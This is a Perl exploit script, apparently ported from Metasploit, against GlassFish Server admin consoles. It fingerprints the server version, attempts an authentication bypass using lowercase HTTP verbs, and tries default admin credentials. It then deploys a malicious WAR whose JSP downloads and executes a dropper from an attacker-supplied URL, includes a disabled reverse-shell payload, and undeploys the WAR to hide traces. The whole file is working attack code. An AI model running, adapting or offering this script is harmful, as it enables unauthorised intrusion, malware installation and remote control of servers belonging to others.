|
#ported from metasploit by irrlicht
#june 2014
use strict;
use warnings;
#use lib qw(./modules/share/perl/5.14.2/);
use LWP::UserAgent;
use HTTP::Headers;
use URI::Escape;
use File::Path 'rmtree';
#This exploit logs in to an GlassFish Server 3.1 (Open Source or Commercial)
#instance using a default credential, uploads, and executes commands via deploying
#a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
#this exploit will try to bypass authentication instead by sending lowercase HTTP verbs.
#admin port: 4848
#Runs dropper deploy.pl and deploy.exe from a webserver depending on the machine type.
my $target_host;
my $target_admin_host;
my $download_exec_url_win;
my $download_exec_url_linux;
my $linux_command = "mkdir /tmp/\\\" \\\"; mv /tmp/deploy.pl /tmp/\\\" \\\"/deploy.pl; cd /tmp/\\\" \\\"; nohup perl deploy.pl > /dev/null 2>&1 &";
my %verbs = ();
sub send_request {
my ($path, $method, $session, $data, $ctype, $reqhttpport) = @_;
my $target_host_;
if ($reqhttpport && $reqhttpport == 1) {
$target_host_ = $target_host;
} else {
$target_host_ = $target_admin_host;
}
my $ua = new LWP::UserAgent(ssl_opts => { verify_hostname => 0 });
$ua->timeout(10);
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
my $headers = HTTP::Headers->new;
if ($session && $session ne "") {
$headers->header('Cookie' => "JSESSIONID=" . $session);
}
if ($ctype && $ctype ne "") {
$headers->header('Content-Type' => $ctype);
}
if ($data &&$data ne "") {
$headers->header('Content-Length' => length($data));
}
my $request;
if (($session && $session ne "") || ($ctype && $ctype ne "")) {
if ($data && $data ne "") {
$request = new HTTP::Request($method, $target_host_ . $path, $headers, $data);
} else {
$request = new HTTP::Request($method, $target_host_ . $path, $headers);
}
} else {
$request = new HTTP::Request($method, $target_host_ . $path);
}
my $response = $ua->request($request);
#print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
#print $path;
#print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
#print $response->content;
my $code = $response->code;
my $body = $response->content;
if ($code == 500) {
print "Connection or internal server error\n";
exit -1;
}
my $server = "";
my $setcookie = "";
if ($response->header('server') && $response->header('server') ne "") {
$server = $response->header('server');
}
if ($response->header('set-cookie') && $response->header('set-cookie') ne "") {
$setcookie = $response->header('set-cookie');
}
return ($code, $body, $server, $setcookie);
}
sub query_server_info {
my ($session, $version) = @_;
my @res = ();
my $path;
if ($version eq "2.x" || $version eq "9.x") {
$path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report";
@res = send_request($path, $verbs{'GET'}, $session);
} else {
$path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report";
@res = send_request($path, $verbs{'GET'}, $session);
if ($res[0] != 200 || not $res[1] =~ /Operating System Information/) {
$path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server";
@res = send_request($path, $verbs{'GET'}, $session);
}
}
if ($res[0] != 200) {
print "Failed: Error requesting " . $path . "\n";
exit -1;
}
return @res;
}
sub detect_platform {
my $body = shift;
my @lines = split("\n", $body);
foreach my $line (@lines) {
chomp $line;
if ($line =~ /os\.name\ =\ (.*)/) {
my $os = $1;
print "That's an $os\n";
if ($os =~ /Windows/) {
return 'win';
}
if ($os =~ /Linux/) {
return 'linux';
}
if ($os =~ /Mac OS X/) {
return 'osx';
}
}
}
}
sub auto_target {
my ($session, $version) = @_; ### XXX no res var, only 2 parameters
print "Attempting to automatically select a target...\n";
my @res = query_server_info($session, $version);
if ($res[1] eq "") {
print "Can not automatically select target\n";
exit -1;
}
my $plat = detect_platform($res[1]);
if ($plat ne "win" && $plat ne "linux") { ## We don't support macosx yet
print "Can't use platform ... " . $plat . "\n";
exit -1;
}
return $plat;
}
sub get_delete_info {
my($session, $version, $app) = @_;
my $viewstate = "";
my $entry = "";
if ($version eq "2.x" || $version eq "9.x") {
my $path = "/applications/webApplications.jsf";
my @res = send_request($path, $verbs{'GET'}, $session);
if ($res[0] != 200) {
print "Error requesting $path\n";
exit -1;
}
my $input_id = "javax.faces.ViewState";
my $body = $res[1];
if ($body =~ /input type="hidden" name="$input_id" id="$input_id" value="(j_id\d+:j_id\d+)"/) {
$viewstate = $1;
}
while($body =~ m/<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/g) {
if ($2 =~ /^$app/) {
$entry = $1;
$entry .= "col0:select";
}
}
} else {
my $path = "/common/applications/applications.jsf?bare=true";
my @res = send_request($path, $verbs{'GET'}, $session);
if ($res[0] != 200) {
print "Error requesting $path\n";
exit -1;
}
my $input_id = "javax.faces.ViewState";
my $body = $res[1];
if ($body =~ /input type="hidden" name="$input_id" id="$input_id" value="(.*)" autocomplete="off"/) {
$viewstate = $1;
}
while($body =~ m/<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)"/g) {
if ($2 =~ /^$app/) {
$entry = $1;
$entry .= "col0:select";
}
}
}
if ($viewstate eq "") {
print "Error getting ViewState\n";
exit -1;
}
if ($entry eq "") {
print "Error getting entry to delete\n";
exit -1;
}
return ($viewstate, $entry);
}
sub undeploy {
my ($viewstate, $session, $entry) = @_;
my $entry_encoded = uri_escape($entry);
my $viewstate_encoded = uri_escape($viewstate);
my $data = "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=".
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false".
"&" . $entry_encoded . "=true".
"&propertyForm%3AhelpKey=ref-applications.html".
"&propertyForm_hidden=propertyForm_hidden".
"&javax.faces.ViewState=" . $viewstate_encoded .
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1".
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1".
"&javax.faces.partial.execute=%40all".
"&javax.faces.partial.render=%40all".
"&bare=true".
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1".
"&javax.faces.partial.ajax=true";
my $path = "/common/applications/applications.jsf";
my $ctype = "application/x-www-form-urlencoded";
my @res = send_request($path, $verbs{'POST'}, $session, $data, $ctype);
if ($res[0] < 200 || $res[0] >= 300) {
print "Undeployment failed on $path - " . $res[0];
exit -1;
}
}
sub get_version {
my @res = @_;
my $banner = $res[2];
my $edition = "Commercial";
my $version = "unknown";
if ($banner =~ /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/) {
$edition = "Open Source";
}
if ($banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)$/) {
$version = $2;
} elsif ($banner =~ /GlassFish v(\d)/) {
$version = $1;
} elsif ($banner =~ /Sun GlassFish Enterprise Server v2/) {
$version = "2.x";
} elsif ($banner =~ /Sun GlassFish Communications Server 2/) {
$version = "2.x";
} elsif ($banner =~ /Sun Java System Application Server 9/) {
$version = "9.x";
}
if ($version eq "" || $version eq "Unknown") {
print "Unsupported version: " . $banner . "\n";
}
return ($edition, $version, $banner);
}
sub format_2_x_war {
my ($boundary, $name, $value, $war) = @_;
my $data = "";
$data .= $boundary;
$data .= "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; ";
$data .= "filename=\"" . $name . ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n";
$data .= $war;
$data .= "\r\n";
return $data;
}
sub format_ {
my ($boundary, $name, $value, $war) = @_;
my $data = "";
if ($war && $war ne "") {
$data .= $boundary;
$data .= "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; ";
$data .= "filename=\"" . $name . ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n";
$data .= $war;
$data .= "\r\n";
} else {
$data .= $boundary;
$data .= "\r\nContent-Disposition: form-data; name=\"" . $name . "\"";
$data .= "\r\n\r\n";
$data .= $value . "\r\n";
}
return $data;
}
sub get_upload_data {
my ($boundary, $version, $war, $app_base, $typefield, $status_checkbox, $start, $viewstate) = @_;
my $data = "";
if ($version eq "3.0") {
my $uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam";
my $uploadparam_data = "form:sheet1:section1:prop1:fileupload";
$boundary = "--" . $boundary;
$data = format_($boundary, $app_base, "", $war) .
format_($boundary, $uploadParam_name, $uploadparam_data) .
format_($boundary, "form:sheet1:section1:prop1:extension", ".war") .
format_($boundary, "form:sheet1:section1:prop1:action", "client") .
format_($boundary, $typefield, "war") .
format_($boundary, "form:war:psection:cxp:ctx", $app_base) .
format_($boundary, "form:war:psection:nameProp:appName", $app_base) .
format_($boundary, "form:war:psection:vsProp:vs", "") .
format_($boundary, $status_checkbox, "true") .
format_($boundary, "form:war:psection:librariesProp:library", "") .
format_($boundary, "form:war:psection:descriptionProp:description", "") .
format_($boundary, "form_hidden", "form_hidden") .
format_($boundary, "javax.faces.ViewState", $viewstate) .
$boundary . "--";
} elsif ($version eq "2.x" || $version eq "9.x") {
my $uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam";
my $uploadParam_data = "form:title:sheet1:section1:prop1:fileupload";
my $focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId";
my $focusElementId_data = "form:title:topButtons:uploadButton";
$boundary = "-----------------------------" . $boundary;
$data = format_2_x_war($boundary, $app_base, "", $war).
format_($boundary, "form:title:sheet1:section1:type:appType", "webApp").
format_($boundary, "uploadRdBtn", "client").
format_($boundary, $uploadParam_name, $uploadParam_data).
format_($boundary, "form:title:sheet1:section1:prop1:extension", ".war").
format_($boundary, "form:title:ps:psec:nameProp:appName", $app_base).
format_($boundary, "form:title:ps:psec:cxp:ctx", $app_base).
format_($boundary, "form:title:ps:psec:vsp:vs", "").
format_($boundary, $status_checkbox, "true").
format_($boundary, "form:title:ps:psec:librariesProp:library", "").
format_($boundary, "form:title:ps:psec:threadpoolProp:threadPool", "").
format_($boundary, "form:title:ps:psec:registryProp:registryType", "").
format_($boundary, "form:title:ps:psec:descriptionProp:description", "").
format_($boundary, "form:helpKey", "uploaddev.html").
format_($boundary, "form_hidden", "form_hidden").
format_($boundary, "javax.faces.ViewState", $viewstate).
format_($boundary, $focusElementId_name, $focusElementId_data).
$boundary . "--";
} else {
$boundary = "-----------------------------" . $boundary;
my $num1 = int($start);
my $num2 = $num1 + 14;
my $num3 = $num2 + 2;
my $num4 = $num3 + 2;
my $num5 = $num4 + 2;
my $num6 = $num5 + 2;
my $num7 = $num6 + 1;
my $id0 = $num4;
my $id1 = $num4 + 1;
my $id2 = $num4 + 2;
my $id3 = $num4 + 3;
my $id4 = $num4 + 4;
my $id5 = $num4 + 5;
my $id6 = $num4 + 6;
my $id7 = $num4 + 7;
my $id8 = $num4 + 8;
my $id9 = $num4 + 9;
my $uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam";
my $uploadParam_value = "form:sheet1:section1:prop1:fileupload";
my $focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId";
my $focusElementId_data = "form:title2:bottomButtons:uploadButton";
$data = format_($boundary,"uploadRdBtn","client").
## web service
format_($boundary, $app_base, "", $war).
## sheet1
format_($boundary, $uploadParam_name, $uploadParam_value).
format_($boundary,"form:sheet1:section1:prop1:extension",".war").
format_($boundary,"form:sheet1:section1:prop1:action","client").
format_($boundary,"form:sheet1:sun_propertySheetSection" . $num1 . ":type:appType","war").
format_($boundary,"form:appClient:psection:nameProp:appName",$app_base).
format_($boundary,"form:appClient:psection:descriptionProp:description").
## war
format_($boundary,"form:war:psection:cxp:ctx",$app_base).
format_($boundary,"form:war:psection:nameProp:appName",$app_base).
format_($boundary,"form:war:psection:vsProp:vs").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id1, "true").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id2, "true").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id3, "true").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id4, "true").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id5, "true").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id6, "true").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id7, "true").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id8, "true").
format_($boundary,"form:war:psection:enableProp:sun_checkbox" . $id9, "true").
format_($boundary,"form:war:psection:librariesProp:library").
format_($boundary,"form:war:psection:descriptionProp:description").
format_($boundary,"form_hidden","form_hidden").
format_($boundary,"javax.faces.ViewState",$viewstate).
format_($boundary, $focusElementId_name, $focusElementId_data);
my $item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list";
my $item_list_data = "|server|com.sun.webui.jsf.separator|";
my $item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value";
my $item_value_data = "server";
$data .= format_($boundary, $item_list_name, $item_list_data);
$data .= format_($boundary, $item_value_name, $item_value_data);
$data .= $boundary . "--";
$data .= "\r\n\r\n";
}
return $data;
}
sub upload_exec {
my ($session, $app_base, $jsp_name, $target, $war, $edition, $version) = @_;
my $viewstate = "";
my $status_checkbox = "";
my $boundary = "";
my $start = "";
my $typefield = "";
if ($version eq "2.x" || $version eq "9.x") {
my $path = "/applications/upload.jsf?appType=webApp";
my @res = send_request($path, $verbs{'GET'}, $session);
my $body = $res[1];
if ($body =~ /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi) {
$viewstate = $1;
} else {
print "Unable to gather required data for file upload\n";
exit -1;
}
if ($body =~ /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi) {
$status_checkbox = $1;
} else {
print "Unable to gather required data for file upload\n";
exit -1;
}
my @chars = ("A".."Z", "a".."z");
$boundary .= $chars[rand @chars] for 1..28;
} else {
my $path = "/common/applications/uploadFrame.jsf";
my @res = send_request($path, $verbs{'GET'}, $session);
my $body = $res[1];
if ($body =~ /propertySheetSection(\d{3})/) {
$start = $1;
}
if ($body =~ /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi) {
$viewstate = $1;
} else {
print "Unable to gather required data for file upload\n";
exit -1;
}
if ($body =~ /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/) {
$typefield = $1;
} else {
print "Unable to gather required data for file upload\n";
exit -1;
}
if ($body =~ /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/) {
$status_checkbox = $1;
} else {
print "Unable to gather required data for file upload\n";
exit -1;
}
my @chars = ("A".."Z", "a".."z");
if ($edition eq "Open Source") {
$boundary .= $chars[rand @chars] for 0..15;
} else {
$boundary .= $chars[rand @chars] for 1..29;
}
}
my $ctype = "";
if ($version eq "3.0") {
$ctype = "multipart/form-data; boundary=" . $boundary;
} elsif ($version eq "2.x" || $version eq "9.x") {
$ctype = "multipart/form-data; boundary=---------------------------" . $boundary;
$typefield = "";
$start = "";
} else {
$ctype = "multipart/form-data; boundary=---------------------------" . $boundary;
}
my $post_data = get_upload_data($boundary, $version, $war, $app_base, $typefield, $status_checkbox, $start, $viewstate);
my $path = "";
if ($version eq "2.x" || $version eq "9.x") {
$path = "/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20";
} else {
$path = "/common/applications/uploadFrame.jsf?";
$path .= "form:title:topButtons:uploadButton=Processing...";
$path .= "&bare=false";
}
my @res = send_request($path, $verbs{'POST'}, $session, $post_data, $ctype);
if ($res[0] == 302) {
print "Upload Success\n";
} else {
print "Upload Error: " . $res[0] . "\n";
exit -1;
}
my $jsp_path = "/" . $app_base . "/" . $jsp_name . ".jsp";
sleep 5;
@res = send_request($jsp_path, 'GET', "", "", "", 1);
if ($res[0] == 200) {
print "JSP Executed\n";
} else {
print "Execute Error: " . $res[0] . "\n";
exit -1;
}
print "Sleep 10 seconds for the deployer to work\n";
sleep 10;
print "Get info to undeploy\n";
my $entry = "";
($viewstate, $entry) = get_delete_info($session, $version, $app_base);
if ($viewstate eq "") {
print "Unable to get viewstate\n";
exit -1;
}
if ($entry eq "") {
print "Unable to get entry\n";
exit -1;
}
print "Undeploy " . $app_base . "\n";
undeploy($viewstate, $session, $entry);
print "Undeployment complete\n";
}
sub try_login {
my ($user, $pass) = @_;
my $data = "j_username=" . uri_escape($user) . "&";
$data .= "j_password=" . uri_escape($pass) . "&";
$data .= "loginButton=Login";
my $path = "/j_security_check";
my @res = send_request($path, $verbs{'POST'}, '', $data, 'application/x-www-form-urlencoded');
return @res;
}
sub log_success {
my ($user, $pass) = @_;
print $target_admin_host . " - GlassFish - SUCCESSFUL login for '$user' : '$pass'\n";
}
sub try_default_glassfish_login {
my $version = shift;
my $success = 0;
my $session = "";
my @res = ();
my ($user, $pass);
if ($version eq "2.x" || $version eq "9.x") {
$user = "admin";
$pass = "adminadmin";
print "Trying default credential GlassFish 2.x $user:'$pass'\n";
@res = try_login($user, $pass);
if ($res[0] == 302) {
if ($res[3] =~ /JSESSIONID=(.*); /i) {
$session = $1;
}
@res = send_request('/applications/upload.jsf', 'GET', $session);
if ($res[0] == 200) {
if ($res[1] =~ /<title>Deploy Enterprise Applications\/Modules/) {
$success = 1;
}
}
}
} else {
$user = "admin";
$pass = "";
print "Trying default credential GlassFish 3.x $user:'$pass'\n";
@res = try_login($user, $pass);
if ($res[0] == 302) {
if ($res[3] =~ /JSESSIONID=(.*); /i) {
$session = $1;
}
@res = send_request('/common/applications/uploadFrame.jsf', 'GET', $session);
if ($res[0] == 200) {
if ($res[1] =~ /<title>Deploy Applications or Modules/) {
$success = 1;
}
}
}
}
if ($success == 1) {
log_success($user, $pass);
} else {
print $target_admin_host . " - GlassFish - Failed to authenticate login for '$user' : '$pass'\n";
}
return ($success, @res, $session);
}
sub try_glassfish_auth_bypass {
my $version = shift;
print "Trying GlassFish authentication bypass\n";
my $success = 0;
if ($version eq "2.x" || $version eq "9.x") {
my @res = send_request('/applications/upload.jsf', 'get');
if ($res[0] == 200) {
if ($res[1] =~ /<title>Deploy Enterprise Applications\/Modules/) {
$success = 1;
}
}
} else {
my @res = send_request('/common/applications/uploadFrame.jsf', 'get');
if ($res[0] == 200) {
if ($res[1] =~ /<title>Deploy Applications or Modules/) {
$success = 1;
}
}
}
if ($success == 1) {
print $target_admin_host . " - GlassFish - SUCCESSFUL authentication bypass\n";
} else {
print $target_admin_host . " - GlassFish - Failed authentication bypass\n";
}
return $success;
}
sub usage() {
print ___FCKpd___0 . " <target_host_url> <target_admin_port_url> <download_and_exec_url_windows> <download_and_exec_url_linux>\n";
exit;
}
sub create_war {
my ($jsp_name, $app_base, $mytarget) = @_;
my $deploy_filename;
my $deploy_command;
my $download_exec_url;
my $war;
if ($mytarget eq 'win') {
$deploy_filename = "deploy.exe";
$deploy_command = "deploy.exe";
$download_exec_url = $download_exec_url_win;
}
if ($mytarget eq 'linux') {
$deploy_filename = "deploy.pl";
$deploy_command = $linux_command;
$download_exec_url = $download_exec_url_linux;
}
my $jsp = "<%@\n" .
"page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\"\n" .
"%>\n".
"<%\n".
"URL url = new URL(\"" . $download_exec_url . "\");\n".
"URLConnection connection = url.openConnection();\n";
if ($mytarget ne 'win') {
$jsp .= "String tmpdir = \"/tmp/\";\n";
}
$jsp .= "InputStream stream = connection.getInputStream();\n".
"BufferedInputStream in = new BufferedInputStream(stream);\n";
if ($mytarget ne 'win') {
$jsp .= "FileOutputStream file = new FileOutputStream(tmpdir + \"" . $deploy_filename . "\");\n";
} else {
$jsp .= "FileOutputStream file = new FileOutputStream(\"" . $deploy_filename . "\");\n";
}
$jsp .= "BufferedOutputStream out_ = new BufferedOutputStream(file);\n".
"int i;\n".
"while ((i = in.read()) != -1) {\n".
" out_.write(i);\n".
"}\n".
"out_.flush();\n".
"out_.close();\n".
"file.flush();\n".
"file.close();\n";
if ($mytarget eq 'win') {
$jsp .= "Runtime.getRuntime().exec(\"$deploy_command\");\n";
} else {
$jsp .= "String[] command = new String[3];\n";
$jsp .= "command[0] = \"/bin/sh\";\n";
$jsp .= "command[1] = \"-c\";\n";
$jsp .= "command[2] = \"$deploy_command\";\n";
$jsp .= "Runtime.getRuntime().exec(command);\n";
}
$jsp .= "%>";
if (0) {
$jsp ="
<%@
page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\"
%>
<%!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
%>
<%
try
{
Socket socket = new Socket( \"0.0.0.0\", 5555 );
Process process = Runtime.getRuntime().exec( \"/bin/sh\" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>";
}
my $webxml = "<?xml version=\"1.0\"?>\n".
"<!DOCTYPE web-app PUBLIC\n".
"\"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n".
"\"http://java.sun.com/dtds/web-app_2_3.dtd\">\n".
"<web-app>\n".
" <servlet>\n".
" <servlet-name>" . $app_base . "</servlet-name>\n".
" <jsp-file>/" . $jsp_name . ".jsp</jsp-file>\n".
" </servlet>\n".
"</web-app>";
rmtree(["WAR"]);
mkdir("WAR");
chdir("WAR");
open FILE, ">" . $jsp_name . ".jsp";
print FILE $jsp;
close FILE;
mkdir("META-INF");
chdir("META-INF");
open FILE, ">MANIFEST.MF";
close FILE;
chdir("..");
mkdir("WEB-INF");
chdir("WEB-INF");
open FILE, ">web.xml";
print FILE $webxml;
close FILE;
chdir("..");
system("zip deploy.war " . $jsp_name . ".jsp META-INF/MANIFEST.MF WEB-INF/web.xml");
open FILE, "<deploy.war";
binmode FILE;
read(FILE, $war, -s 'deploy.war');
close FILE;
#unlink "deploy.war";
chdir "..";
return $war;
}
sub exploit {
my $success = 0;
my $session = "";
my $edition = "";
my $version = "";
my $session_login = "";
my $banner = "";
my $jsp_name = "";
my $app_base = "";
my @res = send_request('/common/index.jsf', 'GET');
if ($res[0] == 302) {
@res = send_request('/login.jsf', 'GET');
}
($edition, $version, $banner) = get_version(@res);
print "GlassFish edition: " . $banner . "\n";
if ($res[3] =~ /JSESSIONID=(.*); /) {
$session = $1;
}
if ($version eq "3.0" || $version eq "2.x" || $version eq "9.x") {
$verbs{'GET'} = "get";
$verbs{'POST'} = "post";
} else {
$verbs{'GET'} = "GET";
$verbs{'POST'} = "POST";
}
if ($version eq "3.0" || $version eq "2.x" || $version eq "9.x") {
$success = try_glassfish_auth_bypass($version);
}
if (!$success and $version ne '9.x') {
($success, @res, $session_login) = try_default_glassfish_login($version);
}
if ($success) {
if ($session_login =~ /\w+/) {
$session = $session_login;
}
my @chars = ("A".."Z", "a".."z");
my ($jsp_name, $app_base);
$jsp_name .= $chars[rand @chars] for 1..32;
$app_base .= $chars[rand @chars] for 1..32;
my $mytarget = auto_target($session, $version);
my $war = create_war($jsp_name, $app_base, $mytarget);
print "Upload payload\n";
my @res = upload_exec($session, $app_base, $jsp_name, $mytarget, $war, $edition, $version);
} else {
print $target_admin_host . " - GlassFish - Failed to authenticate login\n";
}
}
srand(time());
if (!$ARGV[3]) {
usage();
}
$target_host = $ARGV[0];
$target_admin_host = $ARGV[1];
$download_exec_url_win = $ARGV[2];
$download_exec_url_linux = $ARGV[3];
if (substr($target_host, length($target_host)-1, 1) eq '/') {
$target_host = substr($target_host, 0, length($target_host)-1);
}
if (substr($target_admin_host, length($target_admin_host)-1, 1) eq '/') {
$target_host = substr($target_admin_host, 0, length($target_admin_host)-1);
}
exploit();
|